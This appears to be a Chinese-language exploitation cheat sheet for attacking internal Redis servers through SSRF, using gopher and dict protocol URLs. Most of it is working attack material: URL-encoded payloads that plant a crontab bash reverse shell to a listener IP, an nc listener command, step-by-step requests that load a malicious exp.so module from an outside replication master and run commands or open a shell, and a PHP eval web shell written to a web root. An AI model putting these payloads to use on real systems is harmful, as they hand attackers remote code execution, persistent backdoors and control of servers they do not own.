test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
在自己的公网机192.168.220.140上nc监听2333端口
nc -lvp 2333 (或nc -l 2333)
curl命令/gopher协议-远程攻击内网redis
gopher协议是比http协议更早出现的协议,现在已经不常用了,
但是在SSRF漏洞利用中gopher可以说是万金油,
可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。
此种方法能攻击成功的前提条件是:redis是以root权限运行的。
payload
curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
使用dict协议向Redis数据库写shell
关于dict协议:
dict://serverip:port/命令:参数
向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。
curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利用dict:
/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall
这样就代表可以成功执行命令。
1.先清除没用的数据,防止定时任务执行失败
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall
2. 302跳转写入反弹命令
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234
3.设置导出路径
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/
4.设置导出名字
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root
5.导出
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save
避免语句顺序执行错误 第一个包先跑20个在跑第二个包
如果是批量内网ip存在6379端口,那么C段用通配符“*”表示。
payload中出现ip、端口、反弹命令、定时程序路径这些都可以根据实际情况,目标机的系统版本进行更改。
如果目标机是CentOS系统:
bash和python反弹都支持
路径使用:/etc/crontab或者/var/spool/cron/root
如果是ubuntu系统:
支持python反弹
路径使用:/etc/crontab或者/var/spool/cron/crontabs/root
主从复制反弹 shell
1.连接远程主服务器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:8379
2.设置保存文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3.载入 exp.so
/api/test/http_get?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
4.断开主从
/api/test/http_get?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
5.恢复原始文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6.执行命令
/api/test/http_get?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
7.反弹 shell
/api/test/http_get?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
1.连接远程主服务器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:2323
2.设置保存路径
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
设置shell内容
/api/test/http_get?url=dict://127.0.0.1:6379/
set:xxx:"\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
3.设置保存文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
4.保存
/api/test/http_get?url=dict://127.0.0.1:6379/save
5.断开主从
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:no:one